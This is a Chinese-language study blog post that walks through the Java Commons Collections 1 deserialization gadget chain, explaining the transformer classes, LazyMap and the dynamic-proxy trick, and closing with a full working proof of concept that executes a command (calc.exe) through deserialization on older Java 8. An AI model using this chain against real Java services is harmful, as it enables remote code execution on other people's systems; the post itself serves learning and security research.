Java的CommonCollections1链分析
0x01 前言
最近结合p🐂和其他大神关于cc1链的文章,所以想自己写一篇来加深自己的理解
0x02 分析缩减版
这里直接给出p🐂简化过后的cc1链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package org.vulhub.Ser; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain); outerMap.put("test", "xxxx"); } }
|
主要的几个类和接口
1 2 3
| 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法
|
通过transformedmap.decorate方法就可以对传入的map类的数据结构进行转换,当被修饰过的map类对象在添加新元素的时候就会执行一次回调函数,
1 2 3
| public interface Transformer { Object transform(Object var1); }
|
可以看到,它只有一个带实现的方法。当TransformedMap在转换的时候,就会调用Transform方法。
ConstantTransformer类实现了transform接口,这样当调用transform方法的时候就会返回传入的对象
1 2 3 4 5 6 7
| public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }
public Object transform(Object input) { return this.iConstant; }
|
该类也实现了transform接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
|
这个类可以用来执行任意方法,在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。
ChainedTransformer该类也实现了Transformer接⼝,它的作用将前一个回调函数的结果传给后一个回调函数,这里借用一下p🐂的图
其代码如图
1 2 3 4 5 6 7
| public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
return object; }
|
总结demo
那么知道这几个类是啥意思了,我们就可以来捋一下这个demo的思路
首先创建一个ChainedTransformer,其中包含了两个Transformer,第一个Transformer返回的是Runtime对象,第二个Transformer执行任意命令,然后再用这个ChainedTransformer类来包装map类即可。
如何触发回调呢?我们只需要想map中添加一个新元素就可以了。
0x03 分析无删减版
上面的链子需要我们自己手动去添加一个新元素,这在做题中是不可能的,所以我们还得继续往下找,由于p🐂用的类在我使用的Java版本并不一样,所以我选择了直接使用yso上面的链子
yso的链子使用的是LazyMap类而不是Transformed类
1
| Map outerMap = LazyMap.decorate(innerMap,transformerChain);
|
当output被这样装饰了过后,只有当调用get方法的时候才会执行Transform方法,但是这个AnnotationInvocationHandler
类的readobject
方法里面并没有get方法,但是该类的invoke方法里存在get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { switch (var4) { case "toString": return this.toStringImpl(); case "hashCode": return this.hashCodeImpl(); case "annotationType": return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }
return var6; } } } }
|
那么我们怎样才能够调用这个invoke方法呢,这里yso的作者使用到了一个叫动态代理的方法
动态代理
格式如图:
1
| Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
|
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻 辑。
例子我就直接引用p🐂的
首先我们先写一个类ExampleInvocationHandler:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.vulhub.Ser; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map; public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler(Map map) { this.map = map; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get") == 0) { System.out.println("Hook method: " + method.getName()); return "Hacked Object"; } return method.invoke(this.map, args); } }
|
这个类实现了invoke方法,会判断调用的方法是不是get如果是就返回一个字符串
我们在外部调用这个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.vulhub.Ser; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class App { public static void main(String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler(new HashMap()); Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); proxyMap.put("hello", "world"); String result = (String) proxyMap.get("hello"); System.out.println(result); } }
|
那么可以看出来,当一个类是InvocationHandler时,将这个对象进行proxy进行代理后,不管执行什么方法都会进入invoke方法里面,我们回看sun.reflect.annotation.AnnotationInvocationHandler
它其实就是一个InvocationHandler
,那么我们就可以使用动态代理进而来执行invoke方法,从而执行任意命令
那么最终的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package org.vulhub.RMI; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
注:该poc只能在Java8u70前使用
0x04 总结
cc1链确实比URLDNS难,但是当复现完回头看也不是特别难,当中有些方法我还是有些不懂,比如动态代理等,还需要多康康